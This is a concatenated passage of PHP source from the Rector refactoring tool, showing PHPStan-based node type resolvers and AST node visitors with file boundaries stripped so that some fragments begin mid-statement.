SymfonyStyle(new ArrayInput([]), new ConsoleOutput()); $symfonyStyle->error(\sprintf(self::INVALID_BLEEDING_EDGE_PATH_MESSAGE, $throwable->getMessage())); exit(-1); } throw $throwable; } } /** * @api */ public function createReflectionProvider() : ReflectionProvider { return $this->container->getByType(ReflectionProvider::class); } /** * @api */ public function createEmulativeLexer() : Lexer { return $this->container->getService('currentPhpVersionLexer'); } /** * @api */ public function createPHPStanParser() : Parser { return $this->container->getService('currentPhpVersionRichParser'); } /** * @api */ public function createNodeScopeResolver() : NodeScopeResolver { return $this->container->getByType(NodeScopeResolver::class); } /** * @api */ public function createScopeFactory() : ScopeFactory { return $this->container->getByType(ScopeFactory::class); } /** * @template TObject as Object * * @param class-string $type * @return TObject */ public function getByType(string $type) : object { return $this->container->getByType($type); } /** * @api */ public function createFileHelper() : FileHelper { return $this->container->getByType(FileHelper::class); } /** * @api */ public function createTypeNodeResolver() : TypeNodeResolver { return $this->container->getByType(TypeNodeResolver::class); } /** * @api */ public function createDynamicSourceLocatorProvider() : DynamicSourceLocatorProvider { return $this->container->getByType(DynamicSourceLocatorProvider::class); } /** * @return string[] */ private function resolveAdditionalConfigFiles() : array { $additionalConfigFiles = []; if (SimpleParameterProvider::hasParameter(Option::PHPSTAN_FOR_RECTOR_PATHS)) { $paths = SimpleParameterProvider::provideArrayParameter(Option::PHPSTAN_FOR_RECTOR_PATHS); foreach ($paths as $path) { Assert::string($path); $additionalConfigFiles[] = $path; } } $additionalConfigFiles[] = __DIR__ . '/../../../config/phpstan/static-reflection.neon'; $additionalConfigFiles[] = __DIR__ . '/../../../config/phpstan/better-infer.neon'; $additionalConfigFiles[] = __DIR__ . '/../../../config/phpstan/parser.neon'; return \array_filter($additionalConfigFiles, \Closure::fromCallable('file_exists')); } } phpStanNodeScopeResolver = $phpStanNodeScopeResolver; $this->fileWithoutNamespaceNodeTraverser = $fileWithoutNamespaceNodeTraverser; $this->nodeTraverser = new NodeTraverser(); // needed for format preserving printing $this->nodeTraverser->addVisitor($cloningVisitor); } /** * @param Stmt[] $stmts * @return Stmt[] */ public function decorateNodesFromFile(string $filePath, array $stmts) : array { $stmts = $this->fileWithoutNamespaceNodeTraverser->traverse($stmts); $stmts = $this->phpStanNodeScopeResolver->processNodes($stmts, $filePath); return $this->nodeTraverser->traverse($stmts); } } isNonEmptyString()->yes()) { return $mainType; } return new StringType(); } } reflectionProvider = $reflectionProvider; } public function correct(Type $mainType) : Type { // inspired from https://github.com/phpstan/phpstan-src/blob/94e3443b2d21404a821e05b901dd4b57fcbd4e7f/src/Type/Generic/TemplateTypeHelper.php#L18 return TypeTraverser::map($mainType, function (Type $traversedType, callable $traverseCallback) : Type { if (!$traversedType instanceof ConstantStringType) { return $traverseCallback($traversedType); } $value = $traversedType->getValue(); if (!$this->reflectionProvider->hasClass($value)) { return $traverseCallback($traversedType); } $classReflection = $this->reflectionProvider->getClass($value); if ($classReflection->getName() !== $value) { return $traverseCallback($traversedType); } return new GenericClassStringType(new ObjectType($value)); }); } } , NodeTypeResolverInterface> */ private $nodeTypeResolvers = []; /** * @param NodeTypeResolverInterface[] $nodeTypeResolvers */ public function __construct(ObjectTypeSpecifier $objectTypeSpecifier, ClassAnalyzer $classAnalyzer, GenericClassStringTypeCorrector $genericClassStringTypeCorrector, ReflectionProvider $reflectionProvider, AccessoryNonEmptyStringTypeCorrector $accessoryNonEmptyStringTypeCorrector, RenamedClassesDataCollector $renamedClassesDataCollector, iterable $nodeTypeResolvers) { $this->objectTypeSpecifier = $objectTypeSpecifier; $this->classAnalyzer = $classAnalyzer; $this->genericClassStringTypeCorrector = $genericClassStringTypeCorrector; $this->reflectionProvider = $reflectionProvider; $this->accessoryNonEmptyStringTypeCorrector = $accessoryNonEmptyStringTypeCorrector; $this->renamedClassesDataCollector = $renamedClassesDataCollector; foreach ($nodeTypeResolvers as $nodeTypeResolver) { if ($nodeTypeResolver instanceof NodeTypeResolverAwareInterface) { $nodeTypeResolver->autowire($this); } foreach ($nodeTypeResolver->getNodeClasses() as $nodeClass) { $this->nodeTypeResolvers[$nodeClass] = $nodeTypeResolver; } } } /** * @api doctrine symfony * @param ObjectType[] $requiredTypes */ public function isObjectTypes(Node $node, array $requiredTypes) : bool { foreach ($requiredTypes as $requiredType) { if ($this->isObjectType($node, $requiredType)) { return \true; } } return \false; } public function isObjectType(Node $node, ObjectType $requiredObjectType) : bool { if ($node instanceof ClassConstFetch) { return \false; } // warn about invalid use of this method if ($node instanceof ClassMethod || $node instanceof ClassConst) { throw new ShouldNotHappenException(\sprintf(self::ERROR_MESSAGE, \get_class($node), ClassLike::class)); } $resolvedType = $this->getType($node); if ($resolvedType instanceof MixedType) { return \false; } if ($resolvedType instanceof ThisType) { $resolvedType = $resolvedType->getStaticObjectType(); } if ($resolvedType instanceof ObjectType) { try { return $this->resolveObjectType($resolvedType, $requiredObjectType); } catch (ClassAutoloadingException $exception) { // in some type checks, the provided type in rector.php configuration does not have to exists return \false; } } if ($resolvedType instanceof ObjectWithoutClassType) { return $this->isMatchObjectWithoutClassType($resolvedType, $requiredObjectType); } return $this->isMatchingUnionType($resolvedType, $requiredObjectType); } public function getType(Node $node) : Type { if ($node instanceof NullableType) { $type = $this->getType($node->type); if (!$type instanceof MixedType) { return new UnionType([$type, new NullType()]); } } if ($node instanceof Ternary) { $ternaryType = $this->resolveTernaryType($node); if (!$ternaryType instanceof MixedType) { return $ternaryType; } } if ($node instanceof Coalesce) { $first = $this->getType($node->left); $second = $this->getType($node->right); if ($this->isUnionTypeable($first, $second)) { return new UnionType([$first, $second]); } } $type = $this->resolveByNodeTypeResolvers($node); if ($type instanceof Type) { $type = $this->accessoryNonEmptyStringTypeCorrector->correct($type); $type = $this->genericClassStringTypeCorrector->correct($type); if ($type instanceof ObjectType) { $scope = $node->getAttribute(AttributeKey::SCOPE); $type = $this->objectTypeSpecifier->narrowToFullyQualifiedOrAliasedObjectType($node, $type, $scope); } return $type; } $scope = $node->getAttribute(AttributeKey::SCOPE); if (!$scope instanceof Scope) { return new MixedType(); } if ($node instanceof NodeUnionType) { $types = []; foreach ($node->types as $type) { $types[] = $this->getType($type); } return new UnionType($types); } if (!$node instanceof Expr) { return new MixedType(); } $type = $scope->getType($node); $type = $this->accessoryNonEmptyStringTypeCorrector->correct($type); $type = $this->genericClassStringTypeCorrector->correct($type); // hot fix for phpstan not resolving chain method calls if (!$node instanceof MethodCall) { return $type; } if (!$type instanceof MixedType) { return $type; } return $this->getType($node->var); } /** * e.g. string|null, ObjectNull|null */ public function isNullableType(Node $node) : bool { $nodeType = $this->getType($node); return TypeCombinator::containsNull($nodeType); } public function getNativeType(Expr $expr) : Type { $scope = $expr->getAttribute(AttributeKey::SCOPE); if (!$scope instanceof Scope) { return new MixedType(); } // cover direct New_ class if ($this->classAnalyzer->isAnonymousClass($expr)) { $type = $this->nodeTypeResolvers[New_::class]->resolve($expr); if ($type instanceof ObjectWithoutClassType) { return $type; } } $type = $this->resolveNativeTypeWithBuiltinMethodCallFallback($expr, $scope); if ($expr instanceof ArrayDimFetch) { $type = $this->resolveArrayDimFetchType($expr, $scope, $type); } if (!$type instanceof UnionType) { if ($this->isAnonymousObjectType($type)) { return new ObjectWithoutClassType(); } return $this->accessoryNonEmptyStringTypeCorrector->correct($type); } return $this->resolveNativeUnionType($type); } public function isNumberType(Expr $expr) : bool { $nodeType = $this->getNativeType($expr); if ($nodeType->isInteger()->yes()) { return \true; } return $nodeType->isFloat()->yes(); } /** * @api * @param class-string $desiredType */ public function isNullableTypeOfSpecificType(Node $node, string $desiredType) : bool { $nodeType = $this->getType($node); if (!$nodeType instanceof UnionType) { return \false; } if (!TypeCombinator::containsNull($nodeType)) { return \false; } $bareType = TypeCombinator::removeNull($nodeType); return $bareType instanceof $desiredType; } public function getFullyQualifiedClassName(TypeWithClassName $typeWithClassName) : string { if ($typeWithClassName instanceof ShortenedObjectType) { return $typeWithClassName->getFullyQualifiedName(); } if ($typeWithClassName instanceof AliasedObjectType) { return $typeWithClassName->getFullyQualifiedName(); } return $typeWithClassName->getClassName(); } public function isMethodStaticCallOrClassMethodObjectType(Node $node, ObjectType $objectType) : bool { if ($node instanceof MethodCall || $node instanceof NullsafeMethodCall) { // method call is variable return return $this->isObjectType($node->var, $objectType); } if ($node instanceof StaticCall) { return $this->isObjectType($node->class, $objectType); } $scope = $node->getAttribute(AttributeKey::SCOPE); if (!$scope instanceof Scope) { return \false; } $classReflection = $scope->getClassReflection(); if (!$classReflection instanceof ClassReflection) { return \false; } if ($classReflection->getName() === $objectType->getClassName()) { return \true; } return $classReflection->isSubclassOf($objectType->getClassName()); } /** * Allow pull type from * * - native function * - always defined by assignment * * eg: * * $parts = parse_url($url); * if (!empty($parts['host'])) { } * * or * * $parts = ['host' => 'foo']; * if (!empty($parts['host'])) { } */ private function resolveArrayDimFetchType(ArrayDimFetch $arrayDimFetch, Scope $scope, Type $originalNativeType) : Type { $nativeVariableType = $scope->getNativeType($arrayDimFetch->var); if ($nativeVariableType instanceof MixedType || $nativeVariableType instanceof ArrayType && $nativeVariableType->getItemType() instanceof MixedType) { return $originalNativeType; } $type = $scope->getType($arrayDimFetch); if (!$arrayDimFetch->dim instanceof String_) { return $type; } $variableType = $scope->getType($arrayDimFetch->var); if (!$variableType instanceof ConstantArrayType) { return $type; } $optionalKeys = $variableType->getOptionalKeys(); foreach ($variableType->getKeyTypes() as $key => $keyType) { if (!$keyType instanceof ConstantStringType) { continue; } if ($keyType->getValue() !== $arrayDimFetch->dim->value) { continue; } if (!\in_array($key, $optionalKeys, \true)) { continue; } return $originalNativeType; } return $type; } private function resolveNativeUnionType(UnionType $unionType) : Type { $hasChanged = \false; $types = $unionType->getTypes(); foreach ($types as $key => $childType) { if ($this->isAnonymousObjectType($childType)) { $types[$key] = new ObjectWithoutClassType(); $hasChanged = \true; } } if ($hasChanged) { return $this->accessoryNonEmptyStringTypeCorrector->correct(new UnionType($types)); } return $this->accessoryNonEmptyStringTypeCorrector->correct($unionType); } private function isMatchObjectWithoutClassType(ObjectWithoutClassType $objectWithoutClassType, ObjectType $requiredObjectType) : bool { if ($objectWithoutClassType instanceof ObjectWithoutClassTypeWithParentTypes) { foreach ($objectWithoutClassType->getParentTypes() as $typeWithClassName) { if ($requiredObjectType->isSuperTypeOf($typeWithClassName)->yes()) { return \true; } } } return \false; } private function isAnonymousObjectType(Type $type) : bool { if (!$type instanceof ObjectType) { return \false; } $classReflection = $type->getClassReflection(); if (!$classReflection instanceof ClassReflection) { return \false; } return $classReflection->isAnonymous(); } private function isUnionTypeable(Type $first, Type $second) : bool { return !$first instanceof UnionType && !$second instanceof UnionType && !$second instanceof NullType; } private function isMatchingUnionType(Type $resolvedType, ObjectType $requiredObjectType) : bool { $type = TypeCombinator::removeNull($resolvedType); if ($type instanceof NeverType) { return \false; } // for falsy nullables $type = TypeCombinator::remove($type, new ConstantBooleanType(\false)); if ($type instanceof ObjectWithoutClassType) { return $this->isMatchObjectWithoutClassType($type, $requiredObjectType); } return $requiredObjectType->isSuperTypeOf($type)->yes(); } private function resolveByNodeTypeResolvers(Node $node) : ?Type { foreach ($this->nodeTypeResolvers as $nodeClass => $nodeTypeResolver) { if (!$node instanceof $nodeClass) { continue; } return $nodeTypeResolver->resolve($node); } return null; } private function isObjectTypeOfObjectType(ObjectType $resolvedObjectType, ObjectType $requiredObjectType) : bool { $requiredClassName = $requiredObjectType->getClassName(); $resolvedClassName = $resolvedObjectType->getClassName(); if ($resolvedClassName === $requiredClassName) { return \true; } if ($resolvedObjectType->isInstanceOf($requiredClassName)->yes()) { return \true; } if (!$this->reflectionProvider->hasClass($requiredClassName)) { return \false; } $requiredClassReflection = $this->reflectionProvider->getClass($requiredClassName); if ($requiredClassReflection->isTrait()) { if (!$this->reflectionProvider->hasClass($resolvedClassName)) { return \false; } $resolvedClassReflection = $this->reflectionProvider->getClass($resolvedClassName); foreach ($resolvedClassReflection->getAncestors() as $ancestorClassReflection) { if ($ancestorClassReflection->hasTraitUse($requiredClassName)) { return \true; } } } return \false; } private function resolveObjectType(ObjectType $resolvedObjectType, ObjectType $requiredObjectType) : bool { $renamedObjectType = $this->renamedClassesDataCollector->matchClassName($resolvedObjectType); if (!$renamedObjectType instanceof ObjectType) { return $this->isObjectTypeOfObjectType($resolvedObjectType, $requiredObjectType); } if (!$this->isObjectTypeOfObjectType($renamedObjectType, $requiredObjectType)) { return $this->isObjectTypeOfObjectType($resolvedObjectType, $requiredObjectType); } return \true; } /** * @return \PHPStan\Type\MixedType|\PHPStan\Type\UnionType */ private function resolveTernaryType(Ternary $ternary) { if ($ternary->if instanceof Expr) { $first = $this->getType($ternary->if); $second = $this->getType($ternary->else); if ($this->isUnionTypeable($first, $second)) { return new UnionType([$first, $second]); } } $condType = $this->getType($ternary->cond); if ($this->isNullableType($ternary->cond) && $condType instanceof UnionType) { $first = $condType->getTypes()[0]; $second = $this->getType($ternary->else); if ($this->isUnionTypeable($first, $second)) { return new UnionType([$first, $second]); } } return new MixedType(); } /** * Method calls on native PHP classes report mixed, * even on strict known type; this fallbacks to getType() that provides correct type */ private function resolveNativeTypeWithBuiltinMethodCallFallback(Expr $expr, Scope $scope) : Type { if ($expr instanceof MethodCall) { $callerType = $scope->getType($expr->var); if ($callerType instanceof ObjectType && $callerType->getClassReflection() instanceof ClassReflection && $callerType->getClassReflection()->isBuiltin()) { return $scope->getType($expr); } } return $scope->getNativeType($expr); } } */ final class CastTypeResolver implements NodeTypeResolverInterface { /** * @var array, class-string> */ private const CAST_CLASS_TO_TYPE_MAP = [Bool_::class => BooleanType::class, String_::class => StringType::class, Int_::class => IntegerType::class, Double::class => FloatType::class]; /** * @return array> */ public function getNodeClasses() : array { return [Cast::class]; } /** * @param Cast $node */ public function resolve(Node $node) : Type { foreach (self::CAST_CLASS_TO_TYPE_MAP as $castClass => $typeClass) { if ($node instanceof $castClass) { return new $typeClass(); } } if ($node instanceof Array_) { return new ArrayType(new MixedType(), new MixedType()); } if ($node instanceof Object_) { return new ObjectType('stdClass'); } throw new NotImplementedYetException(\get_class($node)); } } */ final class ClassAndInterfaceTypeResolver implements NodeTypeResolverInterface { /** * @readonly * @var \Rector\NodeNameResolver\NodeNameResolver */ private $nodeNameResolver; public function __construct(NodeNameResolver $nodeNameResolver) { $this->nodeNameResolver = $nodeNameResolver; } /** * @return array> */ public function getNodeClasses() : array { return [Class_::class, Interface_::class]; } /** * @param Class_|Interface_ $node */ public function resolve(Node $node) : Type { $scope = $node->getAttribute(AttributeKey::SCOPE); if (!$scope instanceof Scope) { // new node probably return new MixedType(); } $classReflection = $scope->getClassReflection(); if (!$classReflection instanceof ClassReflection) { return new ObjectType((string) $this->nodeNameResolver->getName($node)); } return new ObjectType($classReflection->getName(), null, $classReflection); } } */ final class ClassConstFetchTypeResolver implements NodeTypeResolverInterface { /** * @return array> */ public function getNodeClasses() : array { return [ClassConstFetch::class]; } /** * @param ClassConstFetch $node */ public function resolve(Node $node) : Type { $scope = $node->getAttribute(AttributeKey::SCOPE); if (!$scope instanceof Scope) { return new MixedType(); } if ($node->class instanceof FullyQualified) { return $scope->getType($node); } if ($node->class instanceof Name && $node->class->hasAttribute(AttributeKey::NAMESPACED_NAME)) { $newNode = clone $node; $newNode->class = new FullyQualified($node->class->getAttribute(AttributeKey::NAMESPACED_NAME)); return $scope->getType($newNode); } return $scope->getType($node); } } */ final class IdentifierTypeResolver implements NodeTypeResolverInterface { /** * @return array> */ public function getNodeClasses() : array { return [Identifier::class]; } /** * @param Identifier $node * @return StringType|BooleanType|ConstantBooleanType|NullType|ObjectWithoutClassType|ArrayType|IterableType|IntegerType|FloatType|MixedType */ public function resolve(Node $node) : Type { $lowerString = $node->toLowerString(); if ($lowerString === 'string') { return new StringType(); } if ($lowerString === 'bool') { return new BooleanType(); } if ($lowerString === 'false') { return new ConstantBooleanType(\false); } if ($lowerString === 'true') { return new ConstantBooleanType(\true); } if ($lowerString === 'null') { return new NullType(); } if ($lowerString === 'object') { return new ObjectWithoutClassType(); } if ($lowerString === 'array') { return new ArrayType(new MixedType(), new MixedType()); } if ($lowerString === 'int') { return new IntegerType(); } if ($lowerString === 'iterable') { return new IterableType(new MixedType(), new MixedType()); } if ($lowerString === 'float') { return new FloatType(); } return new MixedType(); } } */ final class NameTypeResolver implements NodeTypeResolverInterface { /** * @return array> */ public function getNodeClasses() : array { return [Name::class, FullyQualified::class]; } /** * @param Name $node */ public function resolve(Node $node) : Type { // not instanceof FullyQualified means it is a Name if (!$node instanceof FullyQualified && $node->hasAttribute(AttributeKey::NAMESPACED_NAME)) { return $this->resolve(new FullyQualified($node->getAttribute(AttributeKey::NAMESPACED_NAME))); } if ($node->toString() === ObjectReference::PARENT) { return $this->resolveParent($node); } $fullyQualifiedName = $this->resolveFullyQualifiedName($node); return new ObjectType($fullyQualifiedName); } /** * @param \PhpParser\Node\Name|\PhpParser\Node\Name\FullyQualified $node */ private function resolveClassReflection($node) : ?ClassReflection { $scope = $node->getAttribute(AttributeKey::SCOPE); if (!$scope instanceof Scope) { return null; } return $scope->getClassReflection(); } /** * @return \PHPStan\Type\MixedType|\PHPStan\Type\ObjectType|\PHPStan\Type\UnionType */ private function resolveParent(Name $name) { $classReflection = $this->resolveClassReflection($name); if (!$classReflection instanceof ClassReflection || !$classReflection->isClass()) { return new MixedType(); } if ($classReflection->isAnonymous()) { return new MixedType(); } $parentClassObjectTypes = []; foreach ($classReflection->getParents() as $parentClassReflection) { $parentClassObjectTypes[] = new ObjectType($parentClassReflection->getName()); } if ($parentClassObjectTypes === []) { return new MixedType(); } if (\count($parentClassObjectTypes) === 1) { return $parentClassObjectTypes[0]; } return new UnionType($parentClassObjectTypes); } private function resolveFullyQualifiedName(Name $name) : string { $nameValue = $name->toString(); if (\in_array($nameValue, [ObjectReference::SELF, ObjectReference::STATIC], \true)) { $classReflection = $this->resolveClassReflection($name); if (!$classReflection instanceof ClassReflection || $classReflection->isAnonymous()) { return $name->toString(); } return $classReflection->getName(); } return $nameValue; } } */ final class NewTypeResolver implements NodeTypeResolverInterface { /** * @readonly * @var \Rector\NodeNameResolver\NodeNameResolver */ private $nodeNameResolver; /** * @readonly * @var \Rector\NodeAnalyzer\ClassAnalyzer */ private $classAnalyzer; public function __construct(NodeNameResolver $nodeNameResolver, ClassAnalyzer $classAnalyzer) { $this->nodeNameResolver = $nodeNameResolver; $this->classAnalyzer = $classAnalyzer; } /** * @return array> */ public function getNodeClasses() : array { return [New_::class]; } /** * @param New_ $node */ public function resolve(Node $node) : Type { if ($node->class instanceof Name) { $className = $this->nodeNameResolver->getName($node->class); if (!\in_array($className, [ObjectReference::SELF, ObjectReference::PARENT], \true)) { return new ObjectType($className); } } $isAnonymousClass = $this->classAnalyzer->isAnonymousClass($node->class); if ($isAnonymousClass) { return $this->resolveAnonymousClassType($node); } $scope = $node->getAttribute(AttributeKey::SCOPE); if (!$scope instanceof Scope) { // new node probably return new MixedType(); } return $scope->getType($node); } private function resolveAnonymousClassType(New_ $new) : ObjectWithoutClassType { if (!$new->class instanceof Class_) { return new ObjectWithoutClassType(); } $directParentTypes = []; /** @var Class_ $class */ $class = $new->class; if ($class->extends instanceof Name) { $parentClass = (string) $class->extends; $directParentTypes[] = new FullyQualifiedObjectType($parentClass); } foreach ($class->implements as $implement) { $parentClass = (string) $implement; $directParentTypes[] = new FullyQualifiedObjectType($parentClass); } if ($directParentTypes !== []) { return new ObjectWithoutClassTypeWithParentTypes($directParentTypes); } return new ObjectWithoutClassType(); } } */ final class ParamTypeResolver implements NodeTypeResolverInterface, NodeTypeResolverAwareInterface { /** * @var \Rector\NodeTypeResolver\NodeTypeResolver */ private $nodeTypeResolver; public function autowire(NodeTypeResolver $nodeTypeResolver) : void { $this->nodeTypeResolver = $nodeTypeResolver; } /** * @return array> */ public function getNodeClasses() : array { return [Param::class]; } /** * @param Param $node */ public function resolve(Node $node) : Type { if ($node->type === null) { return new MixedType(); } return $this->nodeTypeResolver->getType($node->type); } } */ final class PropertyFetchTypeResolver implements NodeTypeResolverInterface, NodeTypeResolverAwareInterface { /** * @readonly * @var \Rector\NodeNameResolver\NodeNameResolver */ private $nodeNameResolver; /** * @readonly * @var \PHPStan\Reflection\ReflectionProvider */ private $reflectionProvider; /** * @var \Rector\NodeTypeResolver\NodeTypeResolver */ private $nodeTypeResolver; public function __construct(NodeNameResolver $nodeNameResolver, ReflectionProvider $reflectionProvider) { $this->nodeNameResolver = $nodeNameResolver; $this->reflectionProvider = $reflectionProvider; } public function autowire(NodeTypeResolver $nodeTypeResolver) : void { $this->nodeTypeResolver = $nodeTypeResolver; } /** * @return array> */ public function getNodeClasses() : array { return [PropertyFetch::class]; } /** * @param PropertyFetch $node */ public function resolve(Node $node) : Type { // compensate 3rd party non-analysed property reflection $vendorPropertyType = $this->getVendorPropertyFetchType($node); if (!$vendorPropertyType instanceof MixedType) { return $vendorPropertyType; } $scope = $node->getAttribute(AttributeKey::SCOPE); if (!$scope instanceof Scope) { return new MixedType(); } return $scope->getType($node); } private function getVendorPropertyFetchType(PropertyFetch $propertyFetch) : Type { // 3rd party code $propertyName = $this->nodeNameResolver->getName($propertyFetch->name); if ($propertyName === null) { return new MixedType(); } $varType = $this->nodeTypeResolver->getType($propertyFetch->var); if (!$varType instanceof ObjectType) { return new MixedType(); } if (!$this->reflectionProvider->hasClass($varType->getClassName())) { return new MixedType(); } $classReflection = $this->reflectionProvider->getClass($varType->getClassName()); if (!$classReflection->hasProperty($propertyName)) { return new MixedType(); } $propertyFetchScope = $propertyFetch->getAttribute(AttributeKey::SCOPE); if (!$propertyFetchScope instanceof Scope) { return new MixedType(); } $extendedPropertyReflection = $classReflection->getProperty($propertyName, $propertyFetchScope); return $extendedPropertyReflection->getReadableType(); } } */ final class PropertyTypeResolver implements NodeTypeResolverInterface { /** * @readonly * @var \Rector\NodeTypeResolver\NodeTypeResolver\PropertyFetchTypeResolver */ private $propertyFetchTypeResolver; public function __construct(\Rector\NodeTypeResolver\NodeTypeResolver\PropertyFetchTypeResolver $propertyFetchTypeResolver) { $this->propertyFetchTypeResolver = $propertyFetchTypeResolver; } /** * @return array> */ public function getNodeClasses() : array { return [Property::class]; } /** * @param Property $node */ public function resolve(Node $node) : Type { // fake property to local PropertyFetch → PHPStan understands that $propertyFetch = new PropertyFetch(new Variable('this'), (string) $node->props[0]->name); $propertyFetch->setAttribute(AttributeKey::SCOPE, $node->getAttribute(AttributeKey::SCOPE)); return $this->propertyFetchTypeResolver->resolve($propertyFetch); } } */ final class ScalarTypeResolver implements NodeTypeResolverInterface { /** * @return array> */ public function getNodeClasses() : array { return [Scalar::class]; } public function resolve(Node $node) : Type { if ($node instanceof DNumber) { return new ConstantFloatType((float) $node->value); } if ($node instanceof String_) { return new ConstantStringType((string) $node->value); } if ($node instanceof LNumber) { return new ConstantIntegerType((int) $node->value); } if ($node instanceof MagicConst) { return new ConstantStringType($node->getName()); } if ($node instanceof Encapsed) { return new StringType(); } if ($node instanceof EncapsedStringPart) { return new ConstantStringType($node->value); } throw new NotImplementedYetException(); } } */ final class StaticCallMethodCallTypeResolver implements NodeTypeResolverInterface, NodeTypeResolverAwareInterface { /** * @readonly * @var \Rector\NodeNameResolver\NodeNameResolver */ private $nodeNameResolver; /** * @var \Rector\NodeTypeResolver\NodeTypeResolver */ private $nodeTypeResolver; public function __construct(NodeNameResolver $nodeNameResolver) { $this->nodeNameResolver = $nodeNameResolver; } public function autowire(NodeTypeResolver $nodeTypeResolver) : void { $this->nodeTypeResolver = $nodeTypeResolver; } /** * @return array> */ public function getNodeClasses() : array { return [StaticCall::class, MethodCall::class]; } /** * @param StaticCall|MethodCall $node */ public function resolve(Node $node) : Type { $methodName = $this->nodeNameResolver->getName($node->name); // no specific method found, return class types, e.g. ::$method() if (!\is_string($methodName)) { return new MixedType(); } $scope = $node->getAttribute(AttributeKey::SCOPE); if (!$scope instanceof Scope) { return new MixedType(); } $nodeReturnType = $scope->getType($node); if (!$nodeReturnType instanceof MixedType) { return $nodeReturnType; } if ($node instanceof MethodCall) { $callerType = $this->nodeTypeResolver->getType($node->var); } else { $callerType = $this->nodeTypeResolver->getType($node->class); } if ($callerType instanceof AliasedObjectType) { $callerType = new FullyQualifiedObjectType($callerType->getFullyQualifiedName()); } foreach ($callerType->getObjectClassReflections() as $objectClassReflection) { $classMethodReturnType = $this->resolveClassMethodReturnType($objectClassReflection, $node, $methodName, $scope); if (!$classMethodReturnType instanceof MixedType) { return $classMethodReturnType; } } return new MixedType(); } /** * @param \PhpParser\Node\Expr\StaticCall|\PhpParser\Node\Expr\MethodCall $node */ private function resolveClassMethodReturnType(ClassReflection $classReflection, $node, string $methodName, Scope $scope) : Type { foreach ($classReflection->getAncestors() as $ancestorClassReflection) { if (!$ancestorClassReflection->hasMethod($methodName)) { continue; } $methodReflection = $ancestorClassReflection->getMethod($methodName, $scope); if ($methodReflection instanceof PhpMethodReflection) { $parametersAcceptorWithPhpDocs = ParametersAcceptorSelectorVariantsWrapper::select($methodReflection, $node, $scope); return $parametersAcceptorWithPhpDocs->getReturnType(); } } return new MixedType(); } } */ final class TraitTypeResolver implements NodeTypeResolverInterface { /** * @readonly * @var \PHPStan\Reflection\ReflectionProvider */ private $reflectionProvider; public function __construct(ReflectionProvider $reflectionProvider) { $this->reflectionProvider = $reflectionProvider; } /** * @return array> */ public function getNodeClasses() : array { return [Trait_::class]; } /** * @param Trait_ $node */ public function resolve(Node $node) : Type { $traitName = (string) $node->namespacedName; if (!$this->reflectionProvider->hasClass($traitName)) { return new MixedType(); } $classReflection = $this->reflectionProvider->getClass($traitName); $types = []; $types[] = new ObjectType($traitName); foreach ($classReflection->getTraits() as $usedTraitReflection) { $types[] = new ObjectType($usedTraitReflection->getName()); } if (\count($types) === 1) { return $types[0]; } return new UnionType($types); } } parentTypes = $parentTypes; parent::__construct($subtractedType); } /** * @return TypeWithClassName[] */ public function getParentTypes() : array { return $this->parentTypes; } } getVariants(); if ($node instanceof FunctionLike) { return ParametersAcceptorSelector::combineAcceptors($variants); } if ($node->isFirstClassCallable()) { return ParametersAcceptorSelector::combineAcceptors($variants); } return ParametersAcceptorSelector::selectFromArgs($scope, $node->getArgs(), $variants); } } name instanceof Name) { return null; } $funcCallName = $node->name->toString(); foreach ($node->args as $arg) { if (!$arg instanceof Arg) { continue; } if ($arg->value instanceof Array_) { $arg->value->setAttribute(AttributeKey::FROM_FUNC_CALL_NAME, $funcCallName); continue; } if ($arg->value instanceof ArrayDimFetch) { $arg->value->setAttribute(AttributeKey::FROM_FUNC_CALL_NAME, $funcCallName); } } return null; } } var->setAttribute(AttributeKey::IS_ASSIGN_OP_VAR, \true); return null; } if ($node instanceof AssignRef) { $node->expr->setAttribute(AttributeKey::IS_ASSIGN_REF_EXPR, \true); return null; } if (!$node instanceof Assign) { return null; } $node->var->setAttribute(AttributeKey::IS_BEING_ASSIGNED, \true); $node->expr->setAttribute(AttributeKey::IS_ASSIGNED_TO, \true); if ($node->expr instanceof Assign) { $node->var->setAttribute(AttributeKey::IS_MULTI_ASSIGN, \true); $node->expr->setAttribute(AttributeKey::IS_MULTI_ASSIGN, \true); $node->expr->var->setAttribute(AttributeKey::IS_ASSIGNED_TO, \true); } return null; } } simpleCallableNodeTraverser = $simpleCallableNodeTraverser; } public function enterNode(Node $node) : ?Node { if (!$node instanceof FunctionLike) { return null; } if (!$node->returnsByRef()) { return null; } $stmts = $node->getStmts(); if ($stmts === null) { return null; } $this->simpleCallableNodeTraverser->traverseNodesWithCallable($stmts, static function (Node $node) { if ($node instanceof Class_ || $node instanceof FunctionLike) { return NodeTraverser::DONT_TRAVERSE_CURRENT_AND_CHILDREN; } if (!$node instanceof Return_) { return null; } $node->setAttribute(AttributeKey::IS_BYREF_RETURN, \true); return $node; }); return null; } } simpleCallableNodeTraverser = $simpleCallableNodeTraverser; } public function enterNode(Node $node) : ?Node { if ($node instanceof AssignRef) { $node->expr->setAttribute(AttributeKey::IS_BYREF_VAR, \true); return null; } if (!$node instanceof FunctionLike) { return null; } $byRefVariableNames = $this->resolveClosureUseIsByRefAttribute($node, []); $byRefVariableNames = $this->resolveParamIsByRefAttribute($node, $byRefVariableNames); $stmts = $node->getStmts(); if ($stmts === null) { return null; } $this->simpleCallableNodeTraverser->traverseNodesWithCallable($stmts, function (Node $subNode) use(&$byRefVariableNames) : ?\PhpParser\Node\Expr\Variable { if ($subNode instanceof Closure) { $byRefVariableNames = $this->resolveClosureUseIsByRefAttribute($subNode, $byRefVariableNames); return null; } if (!$subNode instanceof Variable) { return null; } if (!\in_array($subNode->name, $byRefVariableNames, \true)) { return null; } $subNode->setAttribute(AttributeKey::IS_BYREF_VAR, \true); return $subNode; }); return null; } /** * @param string[] $byRefVariableNames * @return string[] */ private function resolveParamIsByRefAttribute(FunctionLike $functionLike, array $byRefVariableNames) : array { foreach ($functionLike->getParams() as $param) { if ($param->byRef && $param->var instanceof Variable && !$param->var->name instanceof Expr) { $param->var->setAttribute(AttributeKey::IS_BYREF_VAR, \true); $byRefVariableNames[] = $param->var->name; } } return $byRefVariableNames; } /** * @param string[] $byRefVariableNames * @return string[] */ private function resolveClosureUseIsByRefAttribute(FunctionLike $functionLike, array $byRefVariableNames) : array { if (!$functionLike instanceof Closure) { return $byRefVariableNames; } foreach ($functionLike->uses as $closureUse) { if ($closureUse->byRef && !$closureUse->var->name instanceof Expr) { $closureUse->var->setAttribute(AttributeKey::IS_BYREF_VAR, \true); $byRefVariableNames[] = $closureUse->var->name; } } return $byRefVariableNames; } } simpleCallableNodeTraverser = $simpleCallableNodeTraverser; } public function enterNode(Node $node) : ?Node { if ($node instanceof For_ || $node 